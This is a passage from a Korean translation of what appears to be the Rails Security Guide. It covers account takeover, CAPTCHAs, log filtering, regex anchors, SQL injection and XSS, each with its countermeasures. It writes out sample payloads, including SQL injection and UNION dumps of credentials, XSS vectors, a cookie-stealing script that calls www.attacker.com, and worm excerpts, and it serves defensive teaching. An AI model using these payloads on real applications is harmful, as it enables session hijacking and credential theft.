이러한 공격을 완화하려면 비밀번호 찾기 페이지에서도 일반적인 오류 메시지를 표시하세요. 또한 일정 횟수의 로그인 실패 후 IP 주소에서 CAPTCHA 입력을 요구할 수 있습니다. 그러나 이는 자동 프로그램에 대한 완벽한 솔루션은 아닙니다. 프로그램이 IP 주소를 자주 변경할 수 있기 때문입니다. 그러나 공격 장벽을 높입니다.

계정 탈취

많은 웹 애플리케이션이 사용자 계정을 쉽게 탈취할 수 있습니다. 왜 다른 방식으로 더 어렵게 만들지 않나요?

비밀번호

공격자가 사용자의 세션 쿠키를 훼손하여 애플리케이션을 공동 사용할 수 있는 상황을 생각해 보세요. 비밀번호를 쉽게 변경할 수 있다면 공격자가 몇 번의 클릭으로 계정을 탈취할 수 있습니다. 또는 비밀번호 변경 폼이 CSRF에 취약하다면 공격자가 피해자를 속여 비밀번호를 변경할 수 있습니다. 대응책은 비밀번호 변경 폼을 CSRF로부터 안전하게 만들고, 비밀번호 변경 시 이전 비밀번호 입력을 요구하는 것입니다.

이메일

그러나 공격자는 이메일 주소를 변경하여 계정을 탈취할 수도 있습니다. 이메일 주소를 변경하면 비밀번호 찾기 페이지에서 새 비밀번호가 공격자의 이메일 주소로 전송됩니다. 대응책은 이메일 주소 변경 시에도 비밀번호 입력을 요구하는 것입니다.

기타

귀하의 웹 애플리케이션에 따라 사용자 계정을 탈취할 수 있는 다른 방법이 있을 수 있습니다. 많은 경우 CSRF와 XSS가 도움이 됩니다. 예를 들어 Google Mail의 CSRF 취약점과 같습니다. 이 개념 증명 공격에서 피해자는 공격자가 제어하는 웹사이트로 유도되었습니다. 그 사이트에는 Google Mail의 필터 설정을 변경하는 악성 IMG 태그가 포함되어 있었습니다. 피해자가 Google Mail에 로그인된 상태였다면 공격자가 필터를 변경하여 모든 이메일을 자신의 이메일 주소로 전달할 수 있었습니다. 이는 전체 계정을 탈취하는 것만큼 해롭습니다. 대응책은 애플리케이션 로직을 검토하고 모든 XSS와 CSRF 취약점을 제거하는 것입니다.

CAPTCHA

정보: CAPTCHA는 응답이 컴퓨터가 아닌 사람에 의해 생성되었음을 확인하는 도전-응답 테스트입니다. 등록 폼을 공격자로부터 보호하거나 댓글 폼을 자동 스팸봇으로부터 보호하기 위해 자주 사용됩니다. 이것이 긍정적 CAPTCHA이지만 부정적 CAPTCHA도 있습니다. 부정적 CAPTCHA의 아이디어는 사용자가 자신이 인간임을 증명하는 것이 아니라 봇이 봇임을 드러내는 것입니다.

인기 있는 긍정적 CAPTCHA API는 reCAPTCHA입니다. 이는 오래된 책에서 가져온 두 개의 왜곡된 단어 이미지를 표시합니다. 또한 이전 CAPTCHA에서 사용된 기울어진 선과 심한 왜곡 대신 각진 선을 추가합니다. 이는 이전 CAPTCHA가 해독되었기 때문입니다. 추가 혜택으로 reCAPTCHA를 사용하면 오래된 책을 디지털화하는 데 도움이 됩니다. reCAPTCHA는 동일한 이름의 Rails 플러그인이기도 합니다.

API에서 공개 키와 비밀 키 두 개를 받게 되며, 이를 Rails 환경에 입력해야 합니다. 그 후 뷰에서 recaptcha_tags 메서드와 컨트롤러에서 verify_recaptcha 메서드를 사용할 수 있습니다. verify_recaptcha는 검증에 실패하면 false를 반환합니다.

CAPTCHA의 문제는 사용자 경험에 부정적인 영향을 미친다는 것입니다. 또한 일부 시각 장애인 사용자들은 특정 종류의 왜곡된 CAPTCHA를 읽기 어려워했습니다. 그럼에도 불구하고 긍정적 CAPTCHA는 모든 종류의 봇이 폼을 제출하는 것을 방지하는 가장 좋은 방법 중 하나입니다.

대부분의 봇은 매우 단순합니다. 웹을 크롤링하고 찾을 수 있는 모든 폼 필드에 스팸을 넣습니다. 부정적 CAPTCHA는 이러한 단순한 봇의 약점을 이용합니다. 숨겨진 "꿀단지” 필드를 폼에 포함시키는 것입니다. 이 필드는 CSS나 JavaScript를 사용하여 사용자에게 숨겨집니다.

부정적 CAPTCHA는 단순한 봇에만 효과적이며 중요한 애플리케이션을 대상으로 하는 타겟팅된 봇을 막기에는 충분하지 않습니다. 그러나 긍정적 CAPTCHA와 부정적 CAPTCHA를 결합하면 성능을 높일 수 있습니다. 예를 들어 “꿀단지” 필드가 비어 있지 않으면(봇 감지) Google ReCaptcha에 대한 HTTPS 요청을 계산하고 응답을 확인할 필요가 없습니다.

JavaScript 및/또는 CSS를 사용하여 꿀단지 필드를 숨기는 몇 가지 아이디어:

  • 필드를 페이지의 보이지 않는 영역에 배치
  • 요소를 매우 작게 만들거나 페이지 배경색과 동일한 색상으로 칠하기
  • 필드를 그대로 표시하되 사용자에게 비워두라고 말하기

가장 단순한 부정적 CAPTCHA는 하나의 숨겨진 꿀단지 필드입니다. 서버 측에서는 필드 값을 확인합니다: 텍스트가 포함되어 있으면 봇입니다. 그러면 데이터베이스에 게시물을 저장하지 않고 긍정적인 결과를 반환할 수 있습니다. 이렇게 하면 봇이 만족하고 계속 진행합니다.

Ned Batchelder의 블로그 게시물에서 더 복잡한 부정적 CAPTCHA를 찾을 수 있습니다:

  • 현재 UTC 타임스탬프가 포함된 필드를 포함하고 서버에서 확인합니다. 너무 오래되거나 미래의 경우 폼이 무효합니다.
  • 필드 이름을 무작위화
  • 다양한 유형의 꿀단지 필드를 여러 개 포함

이는 자동 봇만 막을 수 있습니다. 타겟팅된 맞춤형 봇은 막을 수 없습니다. 따라서 부정적 CAPTCHA는 로그인 폼을 보호하는 데 적합하지 않을 수 있습니다.

로깅

경고: Rails가 비밀번호를 로그 파일에 기록하지 않도록 하세요.

기본적으로 Rails는 웹 애플리케이션에 대한 모든 요청을 기록합니다. 그러나 로그 파일에는 로그인 자격 증명, 신용카드 번호 등이 포함될 수 있어 보안 문제가 될 수 있습니다. 웹 애플리케이션 보안 개념을 설계할 때는 공격자가 웹 서버에 대한 (전체) 액세스 권한을 얻은 경우를 고려해야 합니다. 데이터베이스의 암호화된 비밀번호와 자격 증명이 유용하지만, 로그 파일에 일반 텍스트로 기록되어 있다면 소용이 없습니다. 특정 요청 매개변수를 애플리케이션 구성에 추가하여 config.filter_parameters에 필터링할 수 있습니다. 이러한 매개변수는 로그에 [FILTERED]로 표시됩니다.

config.filter_parameters << :password

참고: 제공된 매개변수는 부분 일치 정규식으로 필터링됩니다. Rails는 일반적인 애플리케이션 매개변수(password, passwordconfirmation, mytoken 등)을 처리하기 위해 기본 필터 목록을 적절한 초기화기(initializers/filter_parameter_logging.rb)에 추가합니다.

정규 표현식

정보: Ruby의 정규 표현식에서 일반적인 함정은 문자열의 시작과 끝을 ^ 및 $로 일치시키는 것이 아니라 \A 및 \z를 사용해야 한다는 것입니다.

Ruby는 다른 많은 언어와 약간 다른 방식으로 문자열의 시작과 끝을 일치시킵니다. 따라서 많은 Ruby와 Rails 책에서도 이를 잘못 사용합니다. 그렇다면 이것이 어떻게 보안 위협이 될까요? URL 필드를 느슨하게 검증하려고 다음과 같은 간단한 정규식을 사용했다고 가정해 보겠습니다:

/^https?:\/\/[^\n]+$/i

이는 다른 언어에서는 잘 작동할 수 있습니다. 그러나 Ruby에서 ^$ 시작과 줄 끝을 일치시킵니다. 따라서 다음과 같은 URL이 필터를 통과할 수 있습니다:

javascript:exploit_code();/*
http://hi.com

이 URL은 정규식과 일치하는데, 두 번째 줄이 일치하기 때문입니다. 나머지는 중요하지 않습니다. 이제 다음과 같이 URL을 표시하는 뷰를 상상해 보세요:

link_to "Homepage", @user.homepage

링크는 방문자에게 무해해 보이지만 클릭하면 “exploit_code” JavaScript 함수가 실행되거나 공격자가 제공한 다른 JavaScript가 실행됩니다.

정규식을 수정하려면 ^$ 대신 \A\z를 사용해야 합니다:

/\Ahttps?:\/\/[^\n]+\z/i

이는 일반적인 실수이므로 format 유효성 검사기(validatesformatof)는 제공된 정규식이 ^ 또는 $로 시작/끝나는 경우 예외를 발생시킵니다. ^ 및 $를 \A 및 \z 대신 사용해야 하는 경우(매우 드문 경우)에는 :multiline 옵션을 true로 설정할 수 있습니다:

# 내용에 "Meanwhile"이라는 줄이 포함되어 있어야 합니다.
validates :content, format: { with: /^Meanwhile$/, multiline: true }

이는 format 유효성 검사기를 사용할 때 발생할 수 있는 가장 일반적인 실수만 방지합니다. ^ 및 $가 Ruby에서 문자열의 시작과 끝이 아닌 시작과 줄 끝을 일치시킨다는 점을 항상 기억해야 합니다.

권한 상승

경고: 단일 매개변수를 변경하면 사용자에게 무단 액세스 권한이 주어질 수 있습니다. 모든 매개변수가 변경될 수 있다는 점을 기억하세요. 숨기거나 난독화하는 것과 상관없습니다.

가장 일반적인 매개변수는 id 매개변수일 수 있습니다. 예: http://www.domain.com/project/1, 여기서 1은 id입니다. 이 값은 컨트롤러의 params에 있습니다. 일반적으로 다음과 같이 작성할 것입니다:

@project = Project.find(params[:id])

이는 일부 웹 애플리케이션에는 적합할 수 있지만, 사용자가 모든 프로젝트에 대한 권한이 없는 경우에는 그렇지 않습니다. 사용자가 ID를 42로 변경하면 볼 수 있는 권한이 없는 정보에 액세스할 수 있습니다. 대신 사용자의 액세스 권한도 쿼리해야 합니다:

@project = @current_user.projects.find(params[:id])

귀하의 웹 애플리케이션에 따라 사용자가 조작할 수 있는 매개변수가 더 많을 수 있습니다. 일반적인 규칙은 사용자 입력 데이터가 증명될 때까지 안전하지 않으며, 사용자로부터 받은 모든 매개변수가 잠재적으로 조작되었다고 가정해야 한다는 것입니다.

보안을 위한 난독화와 JavaScript에 속지 마세요. 개발자 도구를 사용하면 숨겨진 필드를 검토하고 변경할 수 있습니다. JavaScript는 사용자 입력 데이터를 검증하는 데 사용할 수 있지만, 악성 요청으로부터 방어하는 데는 사용할 수 없습니다. DevTools는 모든 요청과 응답을 기록하고 반복하며 변경할 수 있습니다. 이는 JavaScript 검증을 우회하는 쉬운 방법입니다. 요청과 응답을 가로채는 클라이언트 측 프록시도 있습니다.

주입

정보: 주입은 악성 코드나 매개변수를 웹 애플리케이션에 삽입하여 보안 컨텍스트에서 실행하는 공격 유형입니다. 대표적인 예로 크로스 사이트 스크립팅(XSS)과 SQL 주입이 있습니다.

주입은 매우 까다롭습니다. 동일한 코드나 매개변수가 한 컨텍스트에서는 악성일 수 있지만 다른 컨텍스트에서는 완전히 무해할 수 있습니다. 컨텍스트는 스크립팅, 쿼리, 프로그래밍 언어, 셸, Ruby/Rails 메서드 등이 될 수 있습니다. 다음 섹션에서는 주입 공격이 발생할 수 있는 모든 중요한 컨텍스트를 다룹니다. 첫 번째 섹션은 주입과 관련된 아키텍처 결정을 다룹니다.

허용 목록 대 제한 목록

참고: 정화, 보호 또는 확인 시 제한 목록보다 허용 목록을 선호하세요.

제한 목록은 나쁜 이메일 주소, 비공개 작업 또는 나쁜 HTML 태그의 목록일 수 있습니다. 이는 허용 목록이 좋은 이메일 주소, 공개 작업, 좋은 HTML 태그 등의 목록인 것과 반대됩니다. 때로는 제한 목록을 만드는 것이 불가능할 수 있습니다(스팸 필터의 경우 등). 허용 목록 접근 방식을 사용하는 것이 좋습니다:

  • 보안 관련 작업에 before_action except: [...]을 사용하세요. 이렇게 하면 새로 추가된 작업에 대해 보안 검사를 잊지 않습니다.
  • <script> 대신 <strong>을 허용하여 크로스 사이트 스크립팅(XSS)을 방지하세요. 자세한 내용은 아래에서 확인하세요.
  • 제한 목록을 사용하여 사용자 입력을 수정하지 마세요:
    • 이렇게 하면 공격이 작동합니다: "<sc<script>ript>".gsub("<script>", "")
    • 대신 잘못된 입력을 거부하세요

허용 목록은 또한 사람이 실수로 누락하는 것을 방지하는 좋은 접근 방식입니다.

SQL 주입

정보: 현명한 메서드 덕분에 대부분의 Rails 애플리케이션에서는 이 문제가 거의 없습니다. 그러나 이는 웹 애플리케이션에서 매우 파괴적이고 일반적인 공격이므로 문제를 이해하는 것이 중요합니다.

소개

SQL 주입 공격은 웹 애플리케이션 매개변수를 조작하여 데이터베이스 쿼리에 영향을 미치는 것을 목표로 합니다. 가장 일반적인 SQL 주입 공격 목표는 권한 우회입니다. 다른 목표는 데이터 조작 또는 임의 데이터 읽기입니다. 사용자 입력 데이터를 쿼리에 안전하게 사용하지 않는 예는 다음과 같습니다:

Project.where("name = '#{params[:name]}'")

이는 검색 작업에 있을 수 있으며 사용자가 찾고자 하는 프로젝트 이름을 입력할 수 있습니다. 악의적인 사용자가 ' OR 1) --를 입력하면 결과 SQL 쿼리는 다음과 같습니다:

SELECT * FROM projects WHERE (name = '' OR 1) --')

두 개의 대시는 뒤에 오는 모든 것을 주석 처리합니다. 따라서 이 쿼리는 사용자가 볼 수 없는 프로젝트 테이블의 모든 레코드를 반환합니다. 이는 조건이 모든 레코드에 대해 참이기 때문입니다.

권한 우회

일반적으로 웹 애플리케이션에는 액세스 제어가 포함됩니다. 사용자가 로그인 자격 증명을 입력하면 웹 애플리케이션이 사용자 테이블에서 일치하는 레코드를 찾습니다. 레코드를 찾으면 액세스를 허용합니다. 그러나 공격자는 SQL 주입을 통해 이 검사를 우회할 수 있습니다. 다음은 Rails에서 사용자가 제공한 로그인 자격 증명 매개변수를 사용하여 사용자 테이블에서 첫 번째 레코드를 찾는 일반적인 데이터베이스 쿼리입니다.

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

공격자가 ' OR '1'='1을 이름으로, ' OR '2'>'1을 비밀번호로 입력하면 결과 SQL 쿼리는 다음과 같습니다:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

이 쿼리는 데이터베이스의 첫 번째 레코드를 찾아 이 사용자에게 액세스를 허용합니다.

무단 읽기

UNION 문은 두 개의 SQL 쿼리를 연결하고 하나의 집합으로 데이터를 반환합니다. 공격자는 이를 사용하여 데이터베이스의 임의 데이터를 읽을 수 있습니다. 위의 예를 다시 살펴보겠습니다:

Project.where("name = '#{params[:name]}'")

이제 UNION 문을 사용하여 다른 쿼리를 삽입해 보겠습니다:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

이 결과 SQL 쿼리는 다음과 같습니다:

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

결과는 프로젝트 목록이 아니라(이름이 비어 있는 프로젝트는 없기 때문) 사용자 이름과 비밀번호 목록이 될 것입니다. 따라서 데이터베이스의 비밀번호를 안전하게 해시화했기를 바랍니다! 공격자의 유일한 문제는 두 쿼리의 열 수가 같아야 한다는 것입니다. 따라서 두 번째 쿼리에는 항상 1이 되는 1 목록이 포함되어 있어 첫 번째 쿼리의 열 수와 일치합니다.

또한 두 번째 쿼리는 AS 문을 사용하여 일부 열 이름을 변경하여 사용자 테이블의 값이 웹 애플리케이션에 표시되도록 합니다.

대응책

Ruby on Rails에는 특수 SQL 문자를 이스케이프하는 내장 필터가 있어 ', ", NULL 문자 및 줄 바꿈을 이스케이프합니다. Model.find(id) 또는 Model.find_by_something(something)을 사용하면 이 대응책이 자동으로 적용됩니다. 그러나 SQL 조각, 특히 조건 조각(where("...")), connection.execute() 또는 Model.find_by_sql() 메서드에서는 수동으로 적용해야 합니다.

문자열 대신 자리 표시자를 사용하여 오염된 문자열을 정화할 수 있습니다:

Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

첫 번째 매개변수는 물음표가 있는 SQL 조각입니다. 두 번째와 세 번째 매개변수가 물음표를 변수 값으로 대체합니다.

또한 명명된 자리 표시자를 사용할 수 있습니다. 값은 사용된 해시에서 가져옵니다:

values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

또한 사용 사례에 맞는 조건을 분할하고 연결할 수 있습니다:

Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

앞서 언급한 대응책은 모델 인스턴스에서만 사용할 수 있습니다. 다른 곳에서는 sanitize_sql을 시도해 볼 수 있습니다. 외부 문자열을 SQL에 사용할 때 보안 영향을 항상 고려하세요.

크로스 사이트 스크립팅(XSS)

정보: 웹 애플리케이션에서 가장 널리 퍼져 있고 가장 파괴적인 보안 취약점 중 하나는 XSS입니다. 이 악성 공격은 클라이언트 측 실행 가능 코드를 주입합니다. Rails는 이러한 공격을 막기 위한 헬퍼 메서드를 제공합니다.

진입점

진입점은 공격자가 공격을 시작할 수 있는 취약한 URL과 매개변수입니다.

가장 일반적인 진입점은 메시지 게시, 사용자 댓글, 방명록이지만 프로젝트 제목, 문서 이름, 검색 결과 페이지도 취약할 수 있습니다. 사용자 입력이 웹 사이트의 입력 상자에만 있는 것이 아니라 모든 URL 매개변수에 있을 수 있다는 점에 유의해야 합니다 - 명확한 것, 숨겨진 것, 내부적인 것 모두. 사용자가 모든 트래픽을 가로챌 수 있다는 점도 기억하세요. 애플리케이션이나 클라이언트 측 프록시를 사용하면 요청을 쉽게 변경할 수 있습니다. 배너 광고와 같은 다른 공격 벡터도 있습니다.

XSS 공격은 다음과 같이 작동합니다: 공격자가 코드를 주입하면 웹 애플리케이션이 이를 저장하고 나중에 피해자에게 표시합니다. 대부분의 XSS 예제는 단순히 경고 상자를 표시하지만 그 이상의 기능이 있습니다. XSS는 쿠키를 훼손하고, 세션을 하이재킹하고, 피해자를 가짜 웹사이트로 리디렉션하고, 이득을 위해 웹사이트의 요소를 변경하고, 보안 취약점을 통해 악성 소프트웨어를 설치할 수 있습니다.

2007년 하반기에 Mozilla 브라우저에서 88개, Safari에서 22개, IE에서 18개, Opera에서 12개의 취약점이 보고되었습니다. Symantec Global Internet Security 위협 보고서에 따르면 2007년 후반기에 239개의 브라우저 플러그인 취약점이 문서화되었습니다. Mpack은 이러한 취약점을 악용하는 매우 활성화되고 최신의 공격 프레임워크입니다. 범죄 해커에게는 웹 애플리케이션 프레임워크의 SQL 주입 취약점을 악용하여 모든 텍스트 테이블 열에 악성 코드를 삽입하는 것이 매우 매력적입니다. 2008년 4월에 영국 정부, 유엔 등 수많은 고profile 대상이 이와 같은 방식으로 해킹되었습니다.

HTML/JavaScript 주입

가장 일반적인 XSS 언어는 물론 가장 인기 있는 클라이언트 측 스크립팅 언어인 JavaScript입니다. 종종 HTML과 결합됩니다. 사용자 입력 이스케이프가 필수적입니다.

XSS 검사를 위한 가장 간단한 테스트는 다음과 같습니다:

<script>alert('Hello');</script>

이 JavaScript 코드는 단순히 경고 상자를 표시합니다. 다음 예제는 정확히 같은 작업을 수행하지만 매우 특이한 위치에 있습니다:

<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
쿠키 훼손

이러한 예제는 지금까지 해를 끼치지 않습니다. 이제 공격자가 사용자의 쿠키를 훼손하여(그리고 결국 사용자의 세션을 하이재킹) 할 수 있는 방법을 살펴보겠습니다. JavaScript에서는 document.cookie 속성을 사용하여 문서의 쿠키를 읽고 쓸 수 있습니다. JavaScript는 동일 출처 정책을 적용하므로 한 도메인의 스크립트가 다른 도메인의 쿠키에 액세스할 수 없습니다. document.cookie 속성에는 원래 웹 서버의 쿠키가 포함됩니다. 그러나 HTML 문서에 직접 코드를 포함하면(XSS가 발생하는 경우) 이 속성을 읽고 쓸 수 있습니다. 자신의 쿠키를 보려면 다음을 주입하세요:

<script>document.write(document.cookie);</script>

공격자의 경우 이는 유용하지 않습니다. 피해자가 자신의 쿠키를 볼 것이기 때문입니다. 다음 예제에서는 http://www.attacker.com/에 쿠키를 포함하여 이미지를 로드하려고 합니다. 물론 이 URL은 존재하지 않으므로 브라우저에 아무것도 표시되지 않습니다. 그러나 공격자는 자신의 웹 서버 액세스 로그 파일에서 피해자의 쿠키를 볼 수 있습니다.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.com의 로그 파일에는 다음과 같이 기록됩니다:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

쿠키에 httpOnly 플래그를 추가하면 document.cookie로 쿠키를 읽을 수 없어 이러한 공격을 완화할 수 있습니다. HTTP 전용 쿠키는 IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, Chrome 1.0.154 이상에서 사용할 수 있습니다. 그러나 WebTV와 Mac의 IE 5.5와 같은 다른 오래된 브라우저에서는 페이지 로드가 실패할 수 있습니다. 그러나 Ajax를 사용하면 쿠키가 여전히 표시됩니다.

변조

웹 페이지 변조를 통해 공격자는 많은 일을 할 수 있습니다. 예를 들어 거짓 정보를 표시하거나 쿠키, 로그인 자격 증명 또는 기타 중요 데이터를 훼손하기 위해 피해자를 공격자의 웹사이트로 유도할 수 있습니다. 가장 일반적인 방법은 iframe을 사용하여 외부 소스에서 코드를 포함하는 것입니다:

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

이렇게 하면 임의의 HTML 및/또는 JavaScript가 외부 소스에서 로드되어 사이트의 일부로 포함됩니다. 이 iframeMpack 공격 프레임워크를 사용하여 합법적인 이탈리아 사이트를 공격한 실제 공격에서 가져온 것입니다. Mpack는 브라우저 보안 취약점을 통해 악성 소프트웨어를 설치하려고 시도합니다 - 매우 성공적으로, 공격의 50%가 성공합니다.

보다 특화된 공격은 전체 웹사이트를 겹치거나 원래 사이트와 동일한 모양의 로그인 폼을 표시하여 사용자 이름과 비밀번호를 공격자 사이트로 전송할 수 있습니다. 또는 CSS 및/또는 JavaScript를 사용하여 웹 애플리케이션의 legitimate 링크를 숨기고 대신 가짜 웹사이트로 리디렉션하는 링크를 표시할 수 있습니다.

반사형 주입 공격은 페이로드가 나중에 피해자에게 표시되도록 저장되는 것이 아니라 URL에 포함되는 공격입니다. 특히 검색 폼이 검색 문자열의 이스케이프를 실패합니다. 다음 링크는 “George Bush appointed a 9 year old boy to be the chairperson…"이라고 명시한 페이지를 표시했습니다:

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
대응책

악성 입력을 필터링하는 것도 중요하지만 웹 애플리케이션의 출력을 이스케이프하는 것도 중요합니다.

특히 XSS의 경우 제한 목록 필터링 대신 허용 목록 필터링이 중요합니다. 허용 목록 필터링은 허용되는 값을 지정하는 것이며, 제한 목록은 허용되지 않는 값을 지정하는 것입니다. 제한 목록은 절대 완전하지 않습니다.

제한 목록 필터가 사용자 입력에서 "script"를 삭제한다고 상상해 보세요. 이제 공격자가 "<scrscriptipt>"를 주입하면 "<script>"가 남습니다. Rails의 이전 버전에서는 strip_tags(), strip_links()sanitize() 메서드에 제한 목록 접근 방식을 사용했습니다. 따라서 이러한 주입이 가능했습니다:

strip_tags("some<<b>script>alert('hello')<</b>/script>")

이 결과는 "some<script>alert('hello')</script>"이며, 공격이 작동합니다. 따라서 허용 목록 접근 방식이 더 좋습니다. Rails 2의 업데이트된 sanitize() 메서드를 사용하세요:

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

이렇게 하면 지정된 태그만 허용되며 온갖 트릭과 잘못된 태그에도 잘 작동합니다.

Action View와 Action Text는 rails-html-sanitizer 젬 위에 구축된 sanitization 헬퍼를 사용합니다.

두 번째 단계로 애플리케이션의 모든 출력을 이스케이프하는 것이 좋습니다. 특히 입력 필터링을 거치지 않은 사용자 입력(검색 폼 예제와 같은)을 다시 표시할 때 그렇습니다. `htmlescape()(또는 별칭h()) 메서드_를 사용하여 HTML 입력 문자&,,<,>를 해당 HTML 표현(&,,<,>`)으로 대체하세요.

난독화 및 인코딩 주입

네트워크 트래픽은 주로 제한된 서양 알파벳을 기반으로 하므로 다른 언어의 문자를 전송하기 위해 Unicode와 같은 새로운 문자 인코딩이 등장했습니다. 그러나 이것도 웹 애플리케이션에 위협이 될 수 있습니다. 브라우저는 처리할 수 있지만 웹 애플리케이션은 처리할 수 없는 다양한 인코딩으로 악성 코드를 숨길 수 있기 때문입니다. 다음은 UTF-8 인코딩의 공격 벡터입니다:

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

이 예제는 메시지 상자를 팝업합니다. 그러나 위의 sanitize() 필터에 의해 인식됩니다. Hackvertor와 같은 도구를 사용하면 문자열을 난독화하고 인코딩하여 "적을 알아보는” 것이 좋습니다. Rails의 sanitize() 메서드는 인코딩 공격을 방어하는 데 효과적입니다.

지하 세계의 예

오늘날 웹 애플리케이션에 대한 공격을 이해하려면 실제 공격 벡터를 살펴보는 것이 가장 좋습니다.

다음은 Js.Yamanner@m Yahoo! Mail 웜의 발췌입니다. 이 웜은 2006년 6월 11일 등장했으며 최초의 웹메일 인터페이스 웜이었습니다:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

이 웜은 Yahoo의 HTML/JavaScript 필터의 취약점을 악용했습니다. 필터는 일반적으로 태그의 target 및 onload 속성을 모두 필터링합니다(JavaScript가 포함될 수 있기 때문). 그러나 필터가 한 번만 적용되므로 웜 코드가 포함된 onload 속성이 그대로 남습니다. 이는 제한 목록 필터가 절대 완전하지 않으며 웹 애플리케이션에 HTML/JavaScript를 허용하기 어려운 이유의 좋은 예입니다.

또 다른 개념 증명 웹메일 웜은 Nduja로, 4개의 이탈리아 웹메일 서비스에 대한 크로스 도메인 웜입니다. 자세한 내용은 Rosario Valotta의 논문에서 확인할 수 있습니다. 두 웹메일 웜 모두 이메일 주소를 수집하는 것이 목표이며, 이는 범죄 해커가 돈을 벌 수 있는 방법입니다.

2006년 12월에는 MySpace 피싱 공격을 통해 실제 34,000개의 사용자 이름과 비밀번호가 훼손되었습니다. 공격 아이디어는 “loginhomeindex_html"이라는 프로필 페이지를 만들어 URL이 매우 설득력 있어 보이게 하는 것이었습니다. 특별히 제작된 HTML과 CSS를 사용하여 페이지의 genuine MySpace 콘텐츠를 숨기고 대신 자체 로그인 폼을 표시했습니다.

CSS 주입

정보: CSS 주입은 실제로 JavaScript 주입입니다. 일부 브라우저(IE, 일부 Safari 버전 등)에서는 CSS에 JavaScript를 허용하기 때문입니다. 웹 애플리케이션에 사용자 정의 CSS를 허용할 때는 두 번 생각해 보세요.

CSS 주입은 잘 알려진 MySpace Samy 웜으로 가장 잘 설명됩니다. 이 웜은 Samy(공격자)에게 친구 요청을 자동으로 보내 몇 시간 만에 100만 개 이상의 친구 요청을 생성했고, 이로 인해 MySpace가 오프라인이 되었습니다. 다음은 그 웜의 기술적 설명입니다.

MySpace는 많은 태그를 차단했지만 CSS는 허용했습니다. 따라서 웜 작성자는 CSS에 JavaScript를 포함했습니다:

<div style="background:url('javascript:alert(1)')">

따라서 페이로드는 스타일 속성에 있습니다. 그러나 페이로드에는 따옴표가 허용되지 않습니다. 단일 및 이중 따옴표가 이미 사용되었기 때문입니다. 그러나 JavaScript에는 eval() 함수가 있어 문자열을 코드로 실행할 수 있습니다.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

eval() 함수는 제한 목록 입력 필터에 악몽입니다. 스타일 속성을 사용하여 "innerHTML"이라는 단어를 숨길 수 있습니다:

alert(eval('document.body.inne' + 'rHTML'));

다음 문제는 MySpace가 "javascript” 단어를 필터링한다는 것이었습니다. 따라서 작성자는 "java<NEWLINE>script"를 사용하여 이를 우회했습니다:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

웜 작성자가 해결해야 했던 또 다른 문제는 CSRF 보안 토큰이었습니다. 토큰 없이는 POST로 친구 요청을 보낼 수 없었습니다. 이를 해결하기 위해 CSRF 토큰을 가져오기 위한 GET 요청을 친구 추가 전에 보냈습니다.

결과적으로 4KB 크기의 웜을 얻었고, 이를 프로필 페이지에 주입했습니다.

moz-binding CSS 속성은 Gecko 기반 브라우저(Firefox 등)에 JavaScript를 도입하는 또 다른 방법으로 입증되었습니다.

대응책

이 예제에서도 제한 목록 필터가 절대 완전하지 않다는 것을 보여줍니다. 그러나 웹 애플리케이션에 사용자 정의 CSS를 허용하는 기능은 매우 드물기 때문에 적절한 허용 목록 CSS 필터를 찾기는 어려울 수 있습니다. 사용자가 색상이나 이미지를 선택할 수 있게 하고 웹 애플리케이션에서 CSS를 작성하는 것이 좋습니다. Rails의 sanitize() 메서드를 모델로 하여 필요한 경우 허용 목록 CSS 필터를 만들 수 있습니다.

Textile 주입

HTML 이외의 텍스트 서식을 제공하려면(보안상의 이유로) 서버 측에서 변환되는 마크업 언어를 사용하세요. Ruby의 RedCloth은 그런 언어이지만 적절한 예방 조치 없이는 XSS에 취약합니다.

예를 들어 RedCloth는 _test_<em>test<em>로 변환합니다. 그러나 RedCloth는 기본적으로 안전하지 않은 HTML 태그를 필터링하지 않습니다:

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

:filter_html 옵션을 사용하면 Textile 프로세서에 의해 생성되지 않은 HTML을 제거할 수 있습니다.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

그러나 이것은 모든 HTML을 필터링하지는 않습니다. 일부 태그(설계상)가 남아 있습니다. 예를 들어 <a>:

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

대응책

RedCloth와 허용 목록 필터를 함께 사용하는 것이 좋습니다, XSS 섹션의 대응책에 설명된 대로.

Ajax 주입

참고: Ajax 작업에 대한 보안 예방 조치는 “일반” 작업과 동일해야 합니다. 그러나 한 가지 예외가 있습니다: 작업이 뷰를 렌더링하지 않는 경우 컨트롤러에서 출력을 이스케이프해야 합니다.

